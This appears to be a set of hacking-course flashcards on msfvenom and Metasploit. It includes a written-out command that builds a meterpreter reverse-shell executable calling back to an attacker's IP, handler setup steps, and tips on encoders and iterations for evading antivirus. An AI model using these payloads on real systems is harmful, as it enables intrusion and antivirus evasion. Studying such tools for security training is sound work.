Hacking - Section 10 (Gaining Access (Viruses, Trojans, Payloads) ) Flashcards

1
Q

What is the msfvenom tool and how to use it?

A

A tool to create payloads.
msfvenom + -p + type of payload + LHOST + LPORT + -f + -o
ex - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= (kali linux IP) LPORT=5555 -f exe (type of archive) + -o (name + type of archive)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

How to use the archive created on msfvenom?

A

Inniciate it on msfconsole:
- use exploit/multi/handler
Change the payload, LHOST and LPORT to match does of the exploit you created.
- set payload + type you created, set LHOST, set LPORT

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

How to check the available formats to an archive?

A

msfvenom - -list formats

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What’s the website that tells us about our virus?

A

Virustotal, it will tell how many antivirus will detect it.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

How to define the archtecture of the virus?

A

Use -a + arch when creating it.

ex - LPORT 4444 -a x64

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What are encoders and how to use them?

A

A code that can help the virus pass by some antivirus.
msfvenom - -list encoders (to find them)
-e + encoders u copied

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

 What does the -i command do?

A

It specifies the number of interations that will encode the payload.
The bigger the number the bigger the size, but it’ll become less detectable.
ex - -i 15

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What does the - -platform command do?

A

Defines the platform that the payload will operate.

ex: - -platform windows

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What does the -n command do?

A

Prepend a nopsled of size on to the payload.
nopsled - a instructions for the processor to not do anything.
ex - -n 500

How well did you know this?
1
Not at all
2
3
4
5
Perfectly